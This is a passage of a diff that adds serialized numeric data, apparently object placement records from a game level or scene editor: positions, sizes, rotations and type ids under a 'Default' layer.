+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17996,
+ 521,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3735,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18088,
+ 521,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3736,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18272,
+ 521,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3737,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17785,
+ 684,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3738,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17785,
+ 969,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3739,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17785,
+ 779,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3740,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17785,
+ 874,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3741,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17083,
+ 541,
+ 0,
+ 123.974609375,
+ 75,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3742,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17320,
+ 454,
+ 0,
+ 368.37939453125,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3743,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17599,
+ 519,
+ 0,
+ 277.4059753417969,
+ 96.15914916992188,
+ 0,
+ 0.5235987901687622,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3744,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17785,
+ 595,
+ 0,
+ 277.4059753417969,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3745,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17861,
+ 582,
+ 0,
+ 262.8316040039063,
+ 96.15914916992188,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3746,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18043,
+ 713,
+ 0,
+ 183.0292663574219,
+ 471.5202331542969,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3747,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18365,
+ 525,
+ 0,
+ 273.4289245605469,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3748,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18275,
+ 199,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3749,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18276,
+ 121,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3750,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18276,
+ 42,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3751,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18276,
+ -37,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3752,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16754,
+ 572,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3753,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17234,
+ 354,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3754,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17790,
+ 301,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3755,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18182,
+ 523,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3756,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18088,
+ 616,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3757,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17996,
+ 616,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3758,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18088,
+ 711,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3759,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17996,
+ 711,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3760,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18088,
+ 807,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3761,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17996,
+ 807,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3762,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18088,
+ 902,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3763,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17996,
+ 902,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 3764,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18180,
+ 712,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3765,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18272,
+ 712,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3766,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18364,
+ 712,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3767,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18456,
+ 712,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3768,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18363,
+ 521,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3769,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18455,
+ 521,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3770,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18365,
+ 275,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3771,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18458,
+ 624,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3772,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18319,
+ 718,
+ 0,
+ 369.3859558105469,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3773,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18180,
+ 807,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3774,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18273,
+ 807,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3775,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18364,
+ 807,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3776,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18456,
+ 807,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3777,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18180,
+ 902,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3778,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18272,
+ 902,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3779,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18364,
+ 902,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3780,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18456,
+ 902,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3781,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18665,
+ 647,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3782,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18757,
+ 647,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3783,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18849,
+ 647,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3784,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18551,
+ 692,
+ 0,
+ 200.2014465332031,
+ 87.62319946289062,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3785,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18366,
+ 438,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 3786,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18365,
+ 438,
+ 0,
+ 76.83200073242188,
+ 79.30245971679688,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3787,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18941,
+ 647,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3788,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18943,
+ 316,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3792,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18855,
+ 565,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3793,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19034,
+ 647,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3794,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19126,
+ 647,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3795,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19218,
+ 647,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3796,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19310,
+ 647,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3797,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19403,
+ 647,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3798,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18661,
+ 299,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3799,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19257,
+ 562,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3800,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18273,
+ 195,
+ 0,
+ 76.83200073242188,
+ 79.30245971679688,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3801,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19035,
+ 653,
+ 0,
+ 828,
+ 96,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3803,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19663,
+ 603,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 3804,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21209,
+ 444,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 3805,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22424,
+ 486,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 3806,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22255,
+ 513,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3807,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22371,
+ 524,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3808,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22588,
+ 532,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3809,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22715,
+ 514,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3810,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21624,
+ 660,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3811,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21772,
+ 663,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3812,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21420,
+ 184,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3813,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21600,
+ 182,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3814,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22159,
+ 547,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3815,
+ [],
+ [
+ [
+ 1,
+ 5,
